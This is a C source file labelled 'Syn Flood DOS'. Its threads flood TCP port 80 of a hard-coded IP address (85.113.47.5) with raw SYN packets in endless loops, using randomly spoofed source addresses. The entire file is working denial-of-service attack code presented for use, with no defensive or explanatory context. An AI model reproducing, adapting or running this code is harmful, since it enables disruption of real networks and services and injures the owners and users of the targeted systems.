/*
Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
#include<pthread.h>
#include<stdlib.h> //for exit(0);
#include<time.h>
#define MAXPTHREAD 8
#define PREY_PORT 80
void * func(void * arg);
char * getRandStr();
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
srand(time(NULL));
pthread_t thread;
int i,pthreadResult;
for(i=0;i<MAXPTHREAD; ++i)
{
pthreadResult=pthread_create(&thread,NULL,&func,getRandStr());
if(pthreadResult!=0)
err_sys("Error pthread: %d",i);
}
while(1)
sleep(10);
return 0;
}
void * func(void * arg)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char datagram[4096] , source_ip[32];
struct iphdr *iph = (struct iphdr *) datagram;
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
arg=(char *)arg;
strcpy(source_ip , arg);
sin.sin_family = AF_INET;
sin.sin_port = htons(PREY_PORT);
sin.sin_addr.s_addr = inet_addr ("85.113.47.5");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 92; /// !!!!
iph->tot_len = 576; /// sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = 1888; /// //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, sizeof(*iph));/// iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
char * temp;
while (1)
{
temp=getRandStr();
iph->saddr = inet_addr ( temp ); //Spoof the source ip address
sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin));// < 0) /* a normal send() */
free(temp);
}
return;
}
char * getRandStr()
{
char * str=(char *)malloc(32+1);
if(str==NULL)
{
printf("Not enough memory for \"malloc\"\n");
exit(1);
}
str[0]='\0';
strcat(str,"85.114.");
char buffer[16];
int nextRandom=rand()%256;
sprintf(buffer,"%d",nextRandom);
strcat(str,buffer);
strcat(str,".");
nextRandom=rand()%256;
sprintf(buffer,"%d",nextRandom);
strcat(str,buffer);
return str;
}
